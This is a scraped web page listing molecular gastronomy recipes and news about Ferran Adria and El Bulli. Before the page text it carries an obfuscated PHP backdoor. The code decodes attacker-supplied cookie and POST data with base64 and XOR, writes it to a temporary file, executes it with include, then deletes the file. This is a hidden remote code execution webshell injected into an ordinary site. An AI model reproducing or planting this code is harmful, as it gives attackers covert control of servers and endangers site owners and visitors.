$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();} Ferran Adria | Molecular Recipes - Page 3
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lemon-air-sqr

Seared Scallops with Lemon Air and Bell Pepper Coulis

These tasty seared scallops are served on a coulis of bell pepper, topped with tangy lemon air and complemented wit ... CONTINUE
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potato-foam-gnocchi-sqr

Potato Foam Gnocchi with Roasted Potato Skin Consomme

Ferran Adria's potato foam gnocchi are served with a consommé of roasted potato skin, whipped cream and sea water  ... CONTINUE
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parmesan-spaghetto-sqr

Parmesan Spaghetto Recipe

This is an extraordinary molecular gastronomy recipe from Ferran Adria and El Bulli team. The Parmesan Spaghetto is ... CONTINUE
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Melon cantaloupe caviar -sqr

Melon Cantaloupe Caviar Recipe

This is a famous molecular gastronomy dish created by Ferran Adria that was introduced at El Bulli in 2003 for t ... CONTINUE
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Ferran Adria

Ferran Adria and Molecular Gastronomy at El Bulli

Ferran Adria may not be the creator of the term molecular gastronomy (in fact, he dislikes the term to refer to wha ... CONTINUE
ferran-telefonica

El Bulli and Ferran Adria Partner with Telefonica

Madrid, October 5th, 2010  – Telefónica and Ferran Adrià today announce a 4-year agreement to enhance the valu ... CONTINUE
elbulli-sqr

El Bulli takes a step forward

elBulli´s press release. 26.01.2010 During  his  speech  today  at  the  Madrid  Fusion  Summit,  Ferran ... CONTINUE
Spherical Yogurt

Spherical Yogurt Recipe

This molecular gastronomy recipe is based on the reverse spherification technique which is great for ingredients ri ... CONTINUE
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Spherical mozzarellas -sqr

Reverse Spherical Mozzarellas Recipe

This molecular gastronomy recipe is another creation of Ferran Adria and el Bulli team. This molecular gastronomy r ... CONTINUE
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Spherical olives (spherification) sqr

Liquid Olives Recipe

This molecular gastronomy recipe is another creation of Ferran Adria and el Bulli team. This is one of the first re ... CONTINUE
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2-Spherical Mango line

Spherical Mango Ravioli Recipe

This molecular gastronomy recipe is another creation of Ferran Adria and el Bulli team. This is one of the first sp ... CONTINUE
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